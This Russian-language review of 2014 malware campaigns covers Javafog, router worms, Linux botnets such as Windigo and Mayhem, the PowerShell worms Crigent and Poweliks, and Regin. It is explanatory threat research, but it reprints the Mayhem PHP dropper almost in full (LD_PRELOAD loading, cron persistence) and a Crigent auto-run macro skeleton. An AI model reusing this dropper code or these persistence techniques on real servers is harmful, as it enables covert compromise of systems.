Содержание статьи
Все любят Java, и злоумышленники — тоже
С чем обычно ассоциируется Java? Для злоумышленников это прежде всего большое количество уязвимостей JRE, благодаря которым с помощью эксплойт‑паков им удается грузить пользователям трояны через браузеры. Но инженерная мысль не стоит на месте. Как оказалось, Java-апплеты — отличное средство для своеобразной обфускации вредоносного кода. Другими словами, никто не мешает сделать троян для персоналки полностью на Java, потому как такие вещи для PC пока не в ходу. И соответственно, создатели антивирусов к такому повороту событий еще не готовы.
Вероятно, именно такими соображениями руководствовались члены группировки Icefog, чья деятельность на протяжении нескольких лет находится под пристальным вниманием сотрудников «Лаборатории Касперского».
Группировка Icefog, названная так по имени одного из командных серверов, предположительно включает в себя участников из Китая, Южной Кореи и Японии. Китайский — основной язык, используемый участниками группировки, встречается как в сообщениях внутри программы и на командном сервере, так и в регистрационных данных доменов. Все хостинг‑площадки серверов управления Icefog принадлежат китайским компаниям.
Основной почерк Icefog — точечные атаки, которые характеризуются максимально быстрым добыванием необходимых данных с компьютеров жертв. Другими словами, никаких длящихся годами операций.
Однако из любого правила есть исключения. В арсенале Icefog присутствует несколько вариантов шпионских программ, которые в ЛК именуются следующим образом (по способу связи с С&С):
- Icefog образца 2011 года отправлял украденные данные по email, применялся против Палаты представителей и Палаты советников Японии;
- Icefog 1 — при помощи набора aspx-скриптов;
- Icefog 2 — через proxy;
- Icefog 3 — на С&С развернуты скрипты view.asp и update.asp;
- Icefog 4 — на С&С развернут скрипт upfile.asp;
- Icefog-NG — через прямое TCP-соединение по порту 5600 (предшественники использовали HTTP-протокол).
Кроме того, имеется реализация для платформы OS X под названием Macfog.
И вот в начале 2014 года сотрудники ЛК, анализируя данные, полученные в результате синкхола одного из C&C Icefog с именем lingdona.com, обнаружили, что для некоторых зараженных компьютеров параметр User-Agent имеет значение Java/1.7.0_40. Строка явно указывала на то, что клиент — Java-приложение. Это было необычно, поскольку во всех остальных вариантах Icefog использовались стандартные строки User-Agent с указанием в качестве клиента браузера Internet Explorer.
В ходе дальнейших изысканий был обнаружен вредоносный код, получивший название Javafog. Примечательно, что для установки его использовался другой файл с именем policyapplet.jar, являвшийся, по всей видимости, эксплойтом, полезная нагрузка которого копировала Javafog под именем update.jar в каталог %TEMP% и прописывала его в автозагрузку через реестр в ветке HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
Бэкдор Javafog содержал минимум команд, что не мешало ему полностью контролировать зараженную систему и отправлять пользовательские файлы на удаленный сервер:
- upload_* — загрузить файл, указанный после команды, на командный сервер, загружаемые данные шифровались простой операцией XOR с ключом 0x99 и сохранялись в %server_url%/uploads/%file_name%;
- cmd_UpdateDomain — сменить адрес командного сервера, адрес нового сервера записывался в файл %TEMP%update.dat;
- cmd_* — выполнить команду, для этого использовалась командная строка cmd.exe /c %Команда%, результаты выполнения передавались на командный сервер по адресу %server_url%/newsdetail.aspx?title=%host_id%.
Всего сотрудники ЛК выявили три уникальные жертвы Javafog, причем все они находились в США. По IP-адресу была идентифицирована одна из жертв — это оказалась крупная американская нефтегазовая компания, работающая во многих странах мира.
Сам собой напрашивается вывод, что участники Icefog разработали Javafog специально для проведения долговременных операций, так как киберпреступники по своему опыту решили, что Java-бэкдор действует более скрытно и незаметно и потому более предпочтителен, нежели «классические» трояны.
Все та же «Лаборатория Касперского» в конце января 2014 года сообщила о распространении вредоносного Java-приложения, которое оказалось кросс‑платформенным DDoS-ботом, способным работать в средах Windows, Linux и Mac OS. Данный бот полностью написан на Java. Для его распространения использовалась уязвимость JRE CVE-2013-2465.
Семпл этой вредоносной программы был предоставлен Зольтаном Балажем (Zoltan Balazs), CTO компании MRG Effitas. Название семплу в Лаборатории дали незамысловатое — HEUR:Backdoor.Java.Agent.a.
Для того чтобы усложнить анализ и детектирование бота, его разработчики использовали обфускатор Zelix Klassmaster. Помимо обфускации байт‑кода, Zelix шифрует строковые константы. Для каждого класса Zelix генерирует разные ключи, следовательно, чтобы расшифровать все строки в приложении, надо исследовать все классы и найти ключи для расшифровки.
При запуске бот копирует себя в %userprofile% и прописывается в автозагрузку. В зависимости от платформы, на которой он был запущен, выбирается один из следующих вариантов загрузки:
- Windows — HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
- Linux — /etc/init.d;
- Mac OS — используется стандартный для Mac OS сервис launchd, причем зашифрованный конфигурационный файл для этого сервиса находится в теле бота.
Для однозначной идентификации каждого DDoS-агента генерируется уникальный идентификатор, который записывается в %userprofile% в файл jsuid.dat.
Удивительно, но управление осуществляется по протоколу IRC, ведь такая техника была очень широко распространена лет десять назад. Для реализации взаимодействия по протоколу IRC используется открытый фреймворк PircBot, который интегрирован во вредоносный код. После успешной установки соединения бот заходит на заранее определенный канал, где ожидает команд злоумышленников.
Основной функционал бота — проведение DDoS-атак. Управляющие команды принимают следующие параметры:
- тип DDoS (поддерживаются только два вида — HTTP и UDP flood);
- адрес и порт жертвы;
- длительность проведения атаки;
- количество порождаемых для DDoS потоков.
При HTTP flood значение User-Agent, который будет вставлен в запрос, выбирается случайным образом из списка, хранящегося в теле бота в зашифрованном виде. Это сделано, вероятно, для обхода систем обнаружения DDoS-атак (рис. 1).
Как видно на примере двух рассмотренных образцов вредоносных приложений, применение для кодинга Java позволяет создавать кросс‑платформенные и пока трудно обнаруживаемые антивирусами трояны. Кстати, установку таких троянов удобно производить через эксплойт‑паки, пробивающие JRE, что логично: там, где был пробив, Java точно есть.
Роутеры под ударом
Как известно, ломают чаще всего то, что легко ломается. Сколько информации опубликовано обо всяких дырах и бэкдорах в домашних маршрутизаторах? Не перечислить. Поэтому злоумышленники время от времени клепают самораспространяющиеся вредоносы, пытаясь повторить успех знаменитого червя Морриса. Как известно, его лавинообразное распространение было обусловлено крайне низкой планкой обеспечения безопасности компьютеров того времени. Нечто подобное сейчас можно наблюдать для широкого спектра сетевых устройств, как SOHO, так и корпоративного сектора. К тому же в роутерах нет антивирусов.
Так, исследователи из института SANS обнаружили червя, поражающего маршрутизаторы Linksys. Червь получил название The Moon, так как содержит внутри себя лого вымышленной компании Lunar Industries из фильма The Moon 2009 года.
В зависимости от версии прошивки червь инфицирует маршрутизаторы: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000 и E900. Чуть позже было установлено, что уязвимыми также были модели E300, WAG320N, WAP300N, WES610N, WAP610N, WRT610N, WRT400N, WRT600N, WRT320N, WRT160N, WRT150N.
Предполагаемой жертве червь посылает URL-запрос вида "/HNAP1/", который возвращает XML-файл с настройками и версией прошивки. Такой запрос является частью протокола Home Network Administration Protocol, который был разработан Cisco и предназначен для управления сетевыми устройствами. Если информация о версии маршрутизатора и прошивке относится к уязвимому устройству, то The Moon посылает на уязвимый CGI-скрипт маршрутизатора эксплойт для загрузки и выполнения своего тела. Уязвимый CGI-скрипт содержит ошибку обработки авторизации, поэтому запрос посылается с логином admin и случайным паролем, так как эта проверка все равно не производится. Исполняемый код червя представляет собой бинарный файл формата ELF (Executable and Linkable), скомпилированный для платформы MIPS. После успешного заражения The Moon начинает сканировать сеть в поисках других уязвимых устройств. Поиск производится по списку из 670 диапазонов (вида /21 или /24), который захардкожен внутри тела.
По утверждению исследователей SANS, внутри червя присутствует механизм связи с командным сервером, однако попыток управления ботнетом из маршрутизаторов зафиксировано не было. Специалисты считают, что было заражено порядка тысячи устройств. Распространение The Moon было замечено операторами одного из провайдеров штата Вайоминг, США, которые и сообщили об этом в институт SANS.
Конечно, можно сказать, что тысяча устройств — это не так уж и много. Хорошо, а как насчет 300 тысяч маршрутизаторов? Это звучит уже солиднее.
В ИТ‑компании Team Cymru говорят, что обнаруженная ими ботсеть из стольких устройств является крупнейшей в своем роде. Стив Санторелли, сотрудник Team Cymru, рассказал, что факт существования ботсети из зараженных роутеров был установлен из‑за наличия большого количества поддельных DNS-запросов со стороны конечных пользователей. Специалистов заинтересовало, что пользовательские устройства в массовом порядке работают не с провайдерскими DNS, а со сторонними серверами.
Конечно же, такая большая ботсеть была явно сформирована не червем, а в результате сканирования интернета на предмет наличия уязвимых устройств через зараженные серверы и взлома при помощи эксплойтов. Само сканирование производится зараженными серверами, так как каналов и вычислительных мощностей у них явно больше, чем у домашнего маршрутизатора. Однако это показывает, насколько успешным может быть атака червя, который будет распространяться через роутеры самостоятельно. Кстати, живой пример такого червя уже был в 2012 году, это Carna. Он представлял собой вредоносный код, созданный с использованием части исходников прошивки OpenWRT.
Последнее исследование компании Tripwire, проведенное в теперь уже прошлом году, показало, что 80% из топ-25 самых продаваемых в Amazon моделей беспроводных маршрутизаторов, которые используются рядовыми пользователями и небольшими компаниями, уязвимы для хакерских атак. По данным Tripwire, 30% экспертов в области информационных технологий и 46% рядовых пользователей даже не изменяют пароль администратора, установленный в устройстве по умолчанию.
GCHQ
Центр правительственной связи (англ. Government Communications Headquarters, GCHQ) — спецслужба Великобритании, ответственная за ведение радиоэлектронной разведки и за обеспечение защиты информации органов правительства и армии. Спецслужба была создана в 1919 году под названием Правительственная школа кодирования и шифрования (англ. Government Code and Cypher School, GC&CS). Именно ее специалисты в ходе Второй мировой войны смогли взломать немецкие коды «Энигма». В 1946 году центр получил свое текущее название. Многие сотрудники GCHQ стали учителями для специалистов NSA, образованного только в 1952 году. С тех пор эти два ведомства поддерживают самые тесные контакты. Например, в рамках операции под кодовым названием Tempora центр перехватывает проходящий через территорию Великобритании международный интернет‑трафик, предоставляя США доступ к полученной информации.
Так ли все безоблачно в среде Linux?
Несмотря на упорные мантры отдельных красноглазиков, утверждающих, что под Linux вредоносов быть не может, реальность доказывает обратное. Как известно, большинство серверов в интернете работает под управлением *nix-подобных операционных систем. Естественно, злоумышленники просто не могут обойти это вниманием. Разумеется, планка *nix-вредоносов изначально была довольно высокой. Если под Windows процентов 80 вредоносных программ написано дилетантами, то в *nix находят преимущественно такие образцы, которые свидетельствуют о достаточно высоком уровне знаний их разработчиков.
В 2014 году опубликована информация о нескольких вредоносных кампаниях, связанных именно с заражением *nix-систем.
Пример первый иллюстрирует ESET со своим расследованием операции, получившей название Windigo.
Эта операция началась как минимум в 2011 году, в ходе ее пострадали даже такие известные компании, как cPanel (разработчик одноименной панели управления хостингом) и kernel.org, которая обслуживает основной репозиторий исходного кода ядра Linux.
Windigo была раскрыта ESET совместно с CERT-Bund, исследовательским центром SNIC и европейской организацией ядерных исследований (CERN). Начальная фаза атаки серверов происходила без использования каких‑либо эксплойтов, вместо этого использовались зараженные вредоносным содержимым дистрибутивы различного ПО для Linux, а также учетные данные для входа на сервер, полученные со скомпрометированных компьютеров пользователей. В дальнейшем данные учетных записей пополнялись за счет зараженных серверов.
В ходе операции Windigo было задействовано несколько вредоносных программ, на стороне сервера это были:
- Linux/Ebury — root backdoor shell, предоставляет полный доступ к системе через командную строку, а также имеет возможности по краже учетных данных SSH, может работать как на Linux, так и на FreeBSD-серверах;
- Linux/Cdorked — компрометирует веб‑серверы под управлением Linux, предоставляет полный доступ к системе через командную строку и отвечает за заражение вредоносным кодом пользователей Windows, может работать в среде Apache httpd, nginx и lighttpd;
- Linux/Onimiki — компрометирует DNS-серверы Linux, отвечает за преобразование доменных имен, которые совпадают с определенным шаблоном, в соответствующие IP-адреса, без модификации настроек конфигурации на стороне сервера;
- Perl/Calfbot — спам‑бот, реализованный на языке Perl.
Веб‑серверы, зараженные Linux/Cdorked, перенаправляли пользователей Windows на серверы наборов эксплойтов (до осени 2013-го — Blackhole, далее перешли на Neutrino), которые пытались скрытно загрузить один из двух троянов, Win32/Boaxxe.G для организации кликфрода и Win32/Glupteba.M, выступающий в качестве сервиса прокси.
Кража учетных данных SSH была единственным способом, с помощью которого обеспечивался доступ к новым серверам. Всего было два варианта кражи учетных данных SSH, реализуемых Linux/Ebury: когда пользователь совершает успешную операцию входа на зараженный сервер и когда пользователь использует зараженный сервер для входа в другую систему.
После того как украденные данные учетных записей оказывались в руках операторов Windigo, они проверялись на уровень доступа. Если учетная запись не предоставляла права root, сервер мог остаться нетронутым или на него устанавливался спам‑бот Perl/Calfbot. В противном случае (есть права root) на сервер устанавливался Linux/Ebury. Если на скомпрометированном сервере функционировал один или несколько веб‑сайтов, то в такую систему устанавливался Linux/Cdorked.
Общее количество серверов, зараженных Linux/Cdorked, составило более двух тысяч, всего за последние два года были скомпрометированы более 25 тысяч серверов.
Эксперты ESET отмечают, что вредоносные программы, используемые в ходе операции Windigo, разработаны на достаточно высоком уровне: в них используются техники сокрытия присутствия в системе, переносимость между различными платформами, криптография, а также они показывают высокий уровень познаний атакующих в системе Linux.
Пример второй — компания «Яндекс» опубликовала исследование вредоносного кода, получившего название Mayhem.
Основной функционал вредоноса скрыт в библиотеке libworker.so, которая загружается довольно оригинальным образом. Инсталляция выполняется при помощи вредоносного PHP-скрипта, который размещается на сервере‑жертве.
<?php
header("Content-type: text/plain");print "2842123700\n";if (! function_exists('file_put_contents')) { function file_put_contents($filename, $data) { $f = @fopen($filename, 'w'); if (! $f) return false; $bytes = fwrite($f, $data); fclose($f); return $bytes; }}@system("killall -9 ".basename("/usr/bin/host"));$so32 = <hex_body_of_library_for_x32>;$so64 = <hex_body_of_library_for_x64>;$arch = 64;if (intval("9223372036854775807") == 2147483647) $arch = 32;print "Arch is ".$arch."\n";$so = $arch == 32 ? $so32 : $so64;$f = fopen("/usr/bin/host", "rb");if ($f) { $n = unpack("C*", fread($f, 8)); $so[7] = sprintf("%c", $n[8]); print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n"; fclose($f);}print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";if (getenv("MAYHEM_DEBUG")) exit(0);$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];/* second stage dropper */
$HBN=basename("/usr/bin/host");$SCP=getcwd();$SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";@file_put_contents("1.sh", $SCR);@chmod("1.sh", 0777);/* try at now, file will be removed, crontab cleaned on success */
@system("at now -f 1.sh", $ret);if ($ret == 0) { for ($i = 0; $i < 5; $i++) { if (! @file_exists("1.sh")) { print "AT success\n"; exit(0); } sleep(1); }}@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);if ($ret == 0) { for ($i = 0; $i < 62; $i++) { if (! @file_exists("1.sh")) { print "CRONTAB success\n"; exit(0); } sleep(1); }}print "Running straight\n";@system("./1.sh");?>
Как же PHP-скрипт попадает на сервер? Факторы риска известные: использование старых версий CMS (по результатам поиска в Google больше всего нареканий на WordPress), слабые пароли, уязвимые версии плагинов и прочее. Кроме того, до сих пор эффективна методика кражи паролей от FTP троянами, а FTP обычно юзается для заливки контента на сайт.
Попав на сервер, вредоносный PHP-скрипт начинает свою работу. После запуска определяется архитектура системы (x86 или x64) и наличие прав на запись в текущую директорию. Обычно такие права есть у пользователя, под которым запущен веб‑сервер, и их достаточно для работы Mayhem.
Скрипт выполняет команду killall для всех запущенных под текущим пользователем процессов /usr/bin/host (штатная системная утилита) и извлекает из себя библиотеку нужной архитектуры (x86 или x64).
При помощи вызова system() запускается /usr/bin/host с выставленным флагом LD_PRELOAD=libworker.so, при этом в библиотеке libworker.so переопределяется функция exit(). Используемые в процессе работы Mayhem файлы и плагины сохраняются в файле с именем .sd0, внутри которого создается образ файловой системы формата FAT в зашифрованном виде. Для работы с образом применяется открытая библиотека FAT16/32 File System Library (fat_filelib). Скрытая ФС используется для хранения служебных файлов и плагинов бота.
При успешной загрузке libworker.so переменная окружения LD_PRELOAD и сама библиотека удаляется с диска, также используются еще несколько антиотладочных приемов. В результате на диске не остается практически никаких следов присутствия Mayhem.
Далее расшифровывается конфигурация, которая находится в сегменте данных библиотеки. Конфигурация содержит три параметра: URL командного сервера, имя файла и размер скрытой ФС. Получив параметры подключения, бот рапортует об успешном запуске, при этом если файл со скрытой ФС уже присутствует, то Mayhem использует именно его для дальнейшей работы.
В ходе расследования были обнаружены плагины со следующим функционалом:
- поиск сайтов, уязвимых к Remote File Inclusion;
- определение имен пользователей для сайтов на базе WordPress, в дальнейшем эти данные используются для подбора паролей;
- поиск страниц авторизации для сайтов на Joomla и WordPress;
- перебор паролей к страницам авторизации CMS- и ISP-панелей;
- поиск страниц с заданной тематикой, плагин получает список сайтов, обходит их рекурсивно с заданной глубиной обхода и собирает адреса страниц, которые удовлетворяют определенному набору правил;
- перебор паролей FTP-аккаунтов;
- сканирование диапазонов IP-адресов;
- поиск веб‑интерфейса СУБД MySQL (phpMyAdmin);
- эксплуатация уязвимостей Heartbleed и ShellShock.
В ходе исследований специалистам Яндекса удалось обнаружить три командных сервера. Один из них уже не функционировал, а оставшиеся два использовались для управления более чем 1400 зараженных серверов.
Пример третий — отчет компании Akamai Technologies о сформированном из Linux-серверов ботнете IptabLes/IptabLex, используемом для организации DDoS-атак. В состав ботнета входили серверы, на которых использовались уязвимые версии Apache Struts, Apache Tomcat и Elasticsearch.
После эксплуатации уязвимостей и получения доступа к системе на серверах последовательно запускались два бинарных файла формата ELF с именами IptabLes и IptabLex. При удачном повышении прав оба этих файла загружались в каталог /boot, в противном случае загрузка производилась в каталог /usr. Файл IptabLes (размер около 1 Мб) представлял собой более «продвинутую» версию файла IptabLex (размер около 700 Кб), при этом он мог полноценно работать только при наличии прав root. В отдельных случаях две эти версии работали одновременно. Внутри кода были жестко заданы два адреса командных серверов, территориально размещенных в Китае.
Автозапуск бота осуществлялся через стандартный механизм /etc/rc.d/init.d, для чего создавались соответствующие символические ссылки. Бинарный код способен был выполняться в среде таких популярных дистрибутивов Linux, как Debian, Ubuntu, CentOS и Red Hat.
В качестве методов DDoS использовались SYN flood и DNS flood. С использованием данного ботнета был проведен ряд атак, в результате одной из которых на системы жертвы удалось направить трафик пропускной способностью в 119 Гбит/с и интенсивностью 110 миллионов пакетов в секунду. Отмечается, что это одна из крупнейших DDoS-атак в 2014 году.
Пример четвертый — исследование компании «Доктор Веб» DDoS-бота Linux.BackDoor.Fgt.1.
Бот способен функционировать на различных устройствах, работающих под управлением ОС Linux. Существуют версии для различных дистрибутивов, в том числе встраиваемых систем для архитектур MIPS и SPARC.
Бот выполняет следующие команды:
- запрос IP-адреса инфицированного устройства;
- запуск или остановка цикла сканирования;
- атака DNS Amplification;
- атака UDP Flood;
- атака SYN Flood;
- завершение атаки;
- завершение работы.
Сканирование — это процесс, который используется для заражения других устройств в автоматическом режиме. В течение одного цикла сканируются 256 удаленных IP-адресов, выбранных случайным образом. При генерации списка IP проверяется, не попадают ли они в диапазоны, которые используются внутри локальных сетей, — такие адреса игнорируются.
Работая по списку, бот пытается соединиться с портом Telnet и получить от атакуемой системы запрос логина. Отправив на удаленный узел логин из списка (root, admin), бот анализирует отклик. Если в нем встречается запрос для ввода пароля, троянец пытается выполнить авторизацию методом перебора паролей по списку (root, admin, 12345). В случае успеха на управляющий сервер отправляются IP-адрес, логин и пароль, а на атакуемый узел направляется команда загрузки bash-скрипта, который скачивает из интернета и запускает исполняемый файл нужной архитектуры. Таким образом троянец самораспространяется.
Как видим, для построения ботнетов все чаще используют уязвимые серверные Linux-системы вместо клиентских машин под управлением Windows, как раньше. И судя по тенденции, это только начало...
NSA
Агентство национальной безопасности Соединенных Штатов (англ. National Security Agency, NSA) — подразделение радиотехнической и электронной разведки Министерства обороны США. Из‑за своей секретности часто называется «Агентством, которого нет» (англ. No Such Agency). По мнению подавляющего большинства международных экспертов, NSA представляет собой едва ли не самую мощную разведывательную службу мира. На данный момент NSA и связанные с ним государственные структуры, причем не только в Соединенных Штатах, контракторы и взаимодействующие с Агентством частные корпорации обеспечили США подавляющее господство в мировом информационном пространстве и киберсфере. По сути, «Агентство, которого нет» сканирует, контролирует и накапливает подавляющую часть информационных потоков в мире, включая текстовую, аудио-, видео- и фотоинформацию, финансовые транзакции и сигналы, обеспечивающие управление различными техническими комплексами по всему миру. А еще в NSA придумали SELinux, что добавило архитектуру мандатного контроля доступа к ядру Linux. Это позволило использовать Linux при обработке секретных сведений.
PowerShell как средство обфускации
Как говорится, новое — это хорошо забытое старое. Такое понятие, как макровирусы, уже у всех выветрилось из памяти. Пришло время вспомнить.
Специалисты компании Trend Micro и Symantec независимо друг от друга выявили новое семейство вредоносов с функцией самораспространения, которое заражает файлы формата Microsoft Word и Excel. Новому червю дали название Crigent (также известен под названием Power Worm). Данный червь реализован с использованием скриптового языка Windows PowerShell.
Для примера, в зараженном документе Microsoft Office Excel присутствует скрипт следующего вида:
Private Sub Workbook_Open()b = "JwBDAEkWORMBODYHERE" _
& "QA7ACcAcgWORMBODYHERE" _
& "BzACgAKQAWORMBODYHERE" _
& "jAGUAIAAtWORMBODYHERE" _
& "ACAAUwB5AWORMBODYHERE" _
& "GcALgBpAGWORMBODYHERE" _
& "4AIAAtAGEWORMBODYHERE" _
& "AdAAuAHAAWORMBODYHERE"Set a = CreateObject("WScript.Shell")a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
Конечно, данный скрипт автоматически запустится при открытии документа, только если разрешено выполнение макросов. Однако ничего не подозревающему пользователю достаточно нажать только одну кнопку, чтобы по незнанию разрешить их выполнение.
Как видно из примера, PowerShell-скрипт закодирован в Base64, он просто выгружается в виде файла и выполняется при помощи powershell.exe с соответствующими ключами. Это, можно сказать, первый уровень обфускации.
Внутри запущенного powershell.exe скрипта в одной из переменной опять‑таки находятся Base64 закодированные данные. После снятия кодировки (второй уровень обфускации) данные передаются в функцию декомпрессии (третий уровень обфускации). После всех этих манипуляций конечный скрипт вызывает функцию CompileAssemblyFromSource(), которая компилирует находящийся тут же в скрипте код CSharp и запускает его на выполнение. Полученный бинарный код запускает rundll32.exe в приостановленном состоянии, инжектирует себя в его адресное пространство и запускает поток rundll32. Таким образом, выполняются две задачи — сокрытие и обход систем защиты.
Далее Crigent подгружает свой основной вредоносный функционал, причем для этого используется сеть Tor. Для взаимодействия с этой сетью из облачных сервисов Dropbox и OneDrive загружаются два файла, один из них, собственно, сам Tor клиент, а второй — прокси Polipo. Имена файлов червь получает довольно оригинальным образом: он отправляет DNS-запрос на публичные DNS-серверы Google вида «nslookup -querytype=TXT {malicious domain} 8.8.8.8», ответ на этот запрос и будет содержать имена файлов Tor и Polipo.
Установив необходимое для работы с сетью Tor программное обеспечение, Crigent связывается с командным центром и подгружает PowerShell-скрипт со своим основным функционалом. В частности, в этом скрипте имеются функции, которые заражают все документы форматов Word и Excel на компьютере, при этом регистрируется событие, которое возникает в случае подключения внешних носителей информации, поэтому все документы на флешках также заражаются. Если формат документов docx и xlsx, Crigent перед заражением сохраняет их в старом формате, doc и xls соответственно, а оригинальные файлы удаляет. Согласись, довольно демаскирующая фича. Так что если у твоих документов вдруг стали массово меняться расширения, то знай — это Power Worm.
Power Worm не единственная малварь с интересными фишками, использующая возможности PowerShell. Куда как концептуальнее выглядит вредонос Poweliks. Он тоже использует PowerShell, но главное в нем не это. Основная особенность Poweliks в том, что после инсталляции в системе все его данные хранятся исключительно в реестре, что, естественно, значительно увеличивает скрытность его работы.
Распространялся Poweliks в файлах формата RTF и использовал для этого уязвимость CVE-2012-0158 (в классификации Microsoft — MS12-027). Так как для его работы обязательно требовалось наличие PowerShell, с сайта Microsoft скачивался и устанавливался апдейт KB968930.
Для автозагрузки создавался следующий ключ в реестре (рис. 3).
Здесь видно, что значение ключа составлено не из ASCII-символов; в виде, доступном для восприятия, он выглядит так (рис. 4).
Данный набор команд запускает на выполнение JScript, который хранится в ключе \HKCU\software\microsoft\windows\currentversion\run(default). Внутри JScript уже был Base64-закодированный PowerShell-скрипт (схема, аналогичная Power Worm), который в конечном итоге дропал на диск библиотеку соответствующей архитектуры. Кстати, два адреса командных центров, которые были заданы в DLL, принадлежали Казахстану.
Вредоносная DLL, пожатая упаковщиком MPRESS 2.19, инжектировалась при помощи NtQueueApcThread в адресное пространство dllhost.exe и удалялась с диска. Самоудаление реализовано двумя способами: при помощи NTFS Alternate Data Streams, а если это не срабатывало, использовался вызов MoveFileEx() с параметром MOVEFILE_DELAY_UNTIL_REBOOT.
Впоследствии была выявлена другая версия Poweliks, которая использовала несколько иной метод сокрытия ключа своего автозапуска, а именно удаляла у пользователя права на просмотр значения своего ключа.
Самое интересное в этой истории то, что malware-исследователь, известный под ником Kafeine (его блог — malware.dontneedcoffee.com), обратил внимание, что код библиотек Poweliks в некоторых местах подозрительно напоминает код другого вредоноса — Alureon.GQ (Microsoft), он же Wowlik (ESET). Для тех, кому эти названия ничего не сказали, можно привести другое, более распространенное, — TDL или TDSS. Как видишь, часть его кода все еще гуляет по рукам (возможно, даже с его создателем, которого так и не нашли). Kafeine отмечает, что код, отвечающий за взаимодействие с C&C в Poweliks, выглядит как своеобразный downgrade кода, используемого Alureon.GQ. По состоянию на февраль 2014-го ботнет Poweliks насчитывал около 30 тысяч зараженных машин (формирование ботнета началось в ноябре 2013 года). Как видно, ботнет можно построить даже через рассылку писем с помощью старых эксплойтов для Microsoft Word.
Шпионские страсти
Волей‑неволей, но придется упомянуть очередное «кибероружие, сопоставимое по сложности со Stuxnet». Из‑за чего, собственно, шумиха? В конце ноября 2014 года Symantec и Kaspersky опубликовали свои white paper о вредоносе Regin. И в этих ваших интернетах снова что‑то забурлило, совсем как в старые добрые времена.
Что мы имеем с технической точки зрения? Забегая наперед, нужно отметить, что ни Symantec, ни Kaspersky пока еще (статья сдавалась в декабре 2014-го. — Прим. ред.) ничего не написали про дроппер (то есть они его так и не нашли). Описание почти сразу начинается с того, как производится загрузка Regin, которая состоит из нескольких этапов (рис. 5).
На первом этапе грузится драйвер, зарегистрированный как сервис. Для 64-разрядных ОС этот драйвер имел поддельную цифровую подпись от Microsoft или Broadcom. Причем дроппером в локальное хранилище внедрялся сертификат доверенного CA злоумышленников, которым и были подписаны поддельные подписи драйвера. Благодаря этому с точки зрения ОС с подписями было все ОК.
Основная задача драйвера — загрузка другого компонента Regin, загрузчика (этап два). Здесь уже начинаются различия для x86- и x64-систем. Для x86 данные (представлявшие собой зашифрованный бинарный код), которые загружал драйвер, могли размещаться в одном из двух мест. В случае если файловая система была NTFS, данные разбивались на блоки фиксированного размера (из которых потом собирался единый блок данных) и хранились в Alternate Data Streams следующих каталогов:
- %Windir%;
- %Windir%\fonts;
- %Windir%\cursors.
Если же ФС была FAT, то данные хранились в ключе реестра. Метод хранения данных, необходимые пути или значения ключей реестра размещались в зашифрованном блоке конфигурации драйвера первоначальной загрузки. Для x64 в качестве хранилища использовалось свободное место на диске, которое находилось сразу после всех разделов. Данные, загружаемые драйвером, расшифровывались простейшим алгоритмом, использовавшим операцию XOR.
Полученный на втором этапе бинарный код (загрузчик) производил действия, сходные с первым этапом. Точно так же расшифровывались данные из блока конфигурации и загружались в память данные:
- x86 NTFS — из Alternate Data Streams;
- x86 FAT — из реестра;
- x64 — из последних секторов диска.
Только теперь данные расшифровывались при помощи 20 раундов алгоритма RC5 16-байтовым ключом и после этого подвергались декомпрессии по алгоритму NRV2e.
Для x86 конечный результат третьего этапа — менеджер VMEM.sys, содержащий базовый функционал для работы с зашифрованной виртуальной файловой системой (EVFS). Плагины Regin, конфигурационные файлы для них, результаты работы в виде логов размещаются в одном файле‑контейнере с расширением evt или imd, его размещение всегда было разным, но в основном его путь начинался с C:\Windows\System32. Файловая система чем‑то напоминает FAT, структура ее открыта, вместо имен файлов используются числа, сами файлы шифруются тоже 16-байтным ключом с использованием RC5 и компрессией NRV2e. Менеджер VMEM.sys загружает из EVFS-контейнера диспетчер disp.dll (четвертый этап), который уже и является основным модулем, то есть обеспечивает сетевое взаимодействие с управляющим центром.
Для x64 конечный результат третьего этапа — сразу диспетчер disp.dll, который одновременно и драйвер для EVFS, и основной модуль взаимодействия. То есть тут сразу идет четвертый этап (без VMEM.sys), и disp.dll грузится не из EVFS, а с последних секторов диска.
Сетевое взаимодействие может осуществляться различными способами:
- HTTP и HTTPS, при этом данные передаются через cookie;
- RAW sockets, поддерживаются протоколы TCP и UDP;
- ICMP, при этом в пакет ping для идентификации вставляется слово shit, а для проверки контрольной суммы используется число 31 337;
- именованные каналы SMB.
Такое разнообразие используется для построения внутри ЛВС организации‑жертвы своеобразной распределенной сети из зараженных Regin машин. При этом одни экземпляры Regin могут выступать в качестве прокси для других экземпляров. Столь гибкая структура позволяет осуществлять управление даже в случае, если компьютер с Regin изолирован от интернета на уровне сетевых устройств.
Список плагинов включает в себя стандартный шпионский набор для получения следующей информации:
- характеристик железа;
- скриншотов экрана и нажатий клавиш;
- параметров подключения к прокси;
- сессий пользователей в браузере;
- поиска файлов на диске;
- паролей HTTP/SMTP/SMB.
Но есть ряд действительно неординарных модулей:
- прямая (RAW) работа с NTFS на чтение/запись с поддержкой восстановления удаленных и испорченных данных;
- снифер IP-пакетов (TCPDump);
- экспорт учетных данных из защищенного хранилища;
- дамп хешей паролей пользователей из LM database;
- извлечение данных MS Exchange;
- чтение логов IIS;
- перехват и ведение лог команд софта, обслуживающего базовые станции GSM.
Последний модуль самый интересный и очень редкий. Один из его логов, файл размером около 70 Кб содержал временные отметки, датированные 2008 годом, а также команды в формате Ericsson OSS MML. Согласно статистике Symantec, 28% жертв трояна — это телекоммуникационные компании, 48% — отдельные персоны и небольшие фирмы. Остальные — это государственные, энергетические, финансовые и исследовательские компании. Распределение по странам выглядит следующим образом (рис. 6).
